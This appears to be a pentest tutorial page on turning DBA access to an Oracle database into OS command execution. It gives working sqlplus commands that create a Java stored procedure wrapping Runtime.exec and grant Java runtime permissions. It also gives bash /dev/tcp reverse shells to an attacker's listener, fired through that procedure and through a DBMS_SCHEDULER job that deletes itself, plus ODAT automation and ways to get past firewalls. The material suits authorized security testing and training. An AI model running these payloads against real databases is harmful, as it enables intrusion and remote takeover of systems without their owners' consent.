Skip to content

Oracle OS Command Execution

2 min read Created Mar 30, 2026 Last updated Mar 30, 2026

Oracle database access with DBA or EXECUTE ANY PROCEDURE privileges enables OS command execution through Java stored procedures or DBMS_SCHEDULER jobs. The commands execute as the Oracle process user: typically oracle on Linux or the Windows service account. Confirm DBA privileges from SQL execution before attempting these techniques.

The oracle OS user often has broad filesystem access and may belong to the dba group. On Linux, check /etc/passwd and /etc/group after getting a shell to understand what the account can reach. On Windows, the service account may have SeImpersonatePrivilege, which opens a path to SYSTEM via potato exploits. Use Java stored procedures when Java is available. Fall back to DBMS_SCHEDULER when Java is not present.

  • Check Java Support
  • OS Command Execution via Java Stored Procedure
  • Get a Reverse Shell via Java
  • OS Command Execution via DBMS_SCHEDULER
  • ODAT for Automated OS Shell

Check Java Support

Java stored procedures require Java to be loaded in the database: available in most Oracle Enterprise installations:

TRUE means Java is installed and the stored procedure method will work. FALSE or no rows returned means Java is absent. Standard Edition databases often ship without Java. In that case, skip to the DBMS_SCHEDULER section. On Enterprise systems, a DBA may have explicitly disabled Java with the java_enabled parameter. Confirm with SHOW PARAMETER java_enabled if the query returns unexpected results.

┌──(kali㉿kali)-[~]
└─$ sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
SELECT value FROM v\$option WHERE parameter='Java';
EXIT;
EOF
VALUE
-------
TRUE
Explain command
-L Attempt login only once; do not reprompt on failure.
$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Oracle Easy Connect string with credentials, TCP host, port 1521, and SID ORCL.

OS Command Execution via Java Stored Procedure

Create a Java class that wraps Runtime.exec(), then wrap it in a PL/SQL function:

The first query creates and compiles the Java class inside the database. Java created. confirms successful compilation. An ORA-29535 error means the source has a syntax problem. An ORA-01031 error means the account lacks the CREATE PROCEDURE privilege, which should not happen under DBA.

The second block creates the PL/SQL wrapper, grants Java IO and runtime permissions, then calls id. The DBMS_JAVA.GRANT_PERMISSION calls are required. Without them, the Java class will compile but throw a security exception at runtime. The output shows the OS-level identity of the Oracle process. uid=1001(oracle) confirms code execution as the database service account. From here, read files, write payloads, or pivot to a reverse shell.

┌──(kali㉿kali)-[~]
└─$ sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<'EOF'
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "OsCmd" AS
import java.io.*;
public class OsCmd {
public static String execCmd(String command) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = new String[]{"/bin/bash","-c",command};
Process proc = rt.exec(commands);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String s = "", result = "";
while ((s = stdInput.readLine()) != null) { result += s + "\n"; }
return result;
}
}
/
EOF
Java created.
Explain command
-L Limit login attempts to one; exit on failure instead of reprompting.
$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Oracle connect string with credentials, TCP host/port, and target SID=ORCL.
┌──(kali㉿kali)-[~]
└─$ sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<'EOF'
CREATE OR REPLACE FUNCTION os_cmd(p_cmd VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA
NAME 'OsCmd.execCmd(java.lang.String) return java.lang.String';
/
EXEC DBMS_JAVA.GRANT_PERMISSION(USER,'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
EXEC DBMS_JAVA.GRANT_PERMISSION(USER,'SYS:java.lang.RuntimePermission','*','*');
SELECT os_cmd('id') FROM dual;
EXIT;
EOF
OS_CMD('ID')
-------------------------------
uid=1001(oracle) gid=1001(oracle) groups=1001(oracle)
Explain command
-L Limits login attempts to one; exits on failed authentication instead of retrying.
$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Oracle connect string with credentials, TCP target host/port, and SID ORCL.
$TARGET_IP Placeholder for the target Oracle DB server IP address.
<<'EOF' Heredoc delimiter feeding multi-line SQL/PLSQL block to sqlplus stdin.

Get a Reverse Shell via Java

Start the listener on your machine first. Then trigger the shell through the os_cmd function. The sqlplus session will hang after issuing the command. That is expected. The shell arrives on your netcat listener. The /dev/tcp redirect requires bash. If the target runs a different default shell, replace the payload with a Python or Perl reverse shell one-liner. On Windows targets, use a PowerShell reverse shell or a compiled payload instead of the bash redirect.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
Explain command
-l Listen mode, waits for incoming connections.
-v Verbose output, prints connection status messages.
-n Skip DNS resolution, use numeric IPs only.
-p Specifies the local port number to listen on.
$LPORT Variable placeholder for the local port number.
┌──(kali㉿kali)-[~]
└─$ sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
SELECT os_cmd('bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"') FROM dual;
EXIT;
EOF
Explain command
-L Attempt login only once, do not reprompt on failure.
$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Oracle connect string with credentials, TCP host, port 1521, and SID ORCL.
$TARGET_IP Placeholder for the target Oracle DB server IP address.
$LHOST Placeholder for the attacker's listening host IP for the reverse shell.
$LPORT Placeholder for the attacker's listening port for the reverse shell.

OS Command Execution via DBMS_SCHEDULER

DBMS_SCHEDULER can run external OS scripts and programs directly. Useful as an alternative when Java is unavailable:

The job type EXECUTABLE runs a binary on the OS directly. The arguments pass -c and the shell payload to bash. ENABLE activates the job, RUN_JOB triggers immediate execution, and DROP_JOB removes the artifact after the job fires. The sqlplus session hangs while the reverse shell payload runs. When the connection arrives, the job has already been dropped. If the job fails silently, query DBA_SCHEDULER_JOB_LOG for error details. On Oracle 12c and later, using CREATE_JOB with type EXECUTABLE requires the CREATE EXTERNAL JOB privilege in addition to basic scheduler access.

┌──(kali㉿kali)-[~]
└─$ sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
BEGIN
DBMS_SCHEDULER.CREATE_JOB(
job_name => 'SHELL_JOB',
job_type => 'EXECUTABLE',
job_action => '/bin/bash',
number_of_arguments => 2,
enabled => FALSE
);
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('SHELL_JOB', 1, '-c');
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('SHELL_JOB', 2, 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1');
DBMS_SCHEDULER.ENABLE('SHELL_JOB');
DBMS_SCHEDULER.RUN_JOB('SHELL_JOB');
DBMS_SCHEDULER.DROP_JOB('SHELL_JOB');
END;
/
EXIT;
EOF
Explain command
-L Limits login attempts to one; exits on failed authentication instead of retrying.
$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Oracle connect string with credentials, TCP host/port, and target SID=ORCL.
$TARGET_IP Placeholder for the target Oracle DB server IP address.
$LHOST Placeholder for the attacker's listener IP used in the reverse shell payload.
$LPORT Placeholder for the attacker's listener port used in the reverse shell payload.

ODAT for Automated OS Shell

ODAT's externaltable and dbmsscheduler modules automate OS command execution:

ODAT wraps the same DBMS_SCHEDULER approach into a single command. The dbmsscheduler module handles job creation, execution, and cleanup automatically. Use the externaltable module as an alternative: it reads OS command output via Oracle external table preprocessing, which can bypass restrictions on the scheduler approach. Test both modules if one fails. Successful output appears directly in the terminal without needing a separate listener.

┌──(kali㉿kali)-[~]
└─$ odat dbmsscheduler -s $TARGET_IP -p 1521 -d ORCL -U $USER -P $PASSWORD --exec 'id'
Explain command
dbmsscheduler ODAT module using DBMS_SCHEDULER to execute OS commands.
-s $TARGET_IP Target Oracle DB server IP address.
-p 1521 Target port number (default Oracle listener port).
-d ORCL Oracle database SID/service name to connect to.
-U $USER Username for Oracle database authentication.
-P $PASSWORD Password for Oracle database authentication.
--exec 'id' OS command to execute on the remote server via scheduler.

If neither Java nor DBMS_SCHEDULER produces a shell, check whether outbound TCP from the Oracle host is blocked by a firewall. Use a blind execution test first: run ping -c 1 $LHOST via os_cmd and watch for ICMP on your machine with tcpdump. If ping arrives but no shell does, the target blocks outbound TCP on your chosen port. Try port 443 or 80 instead.

References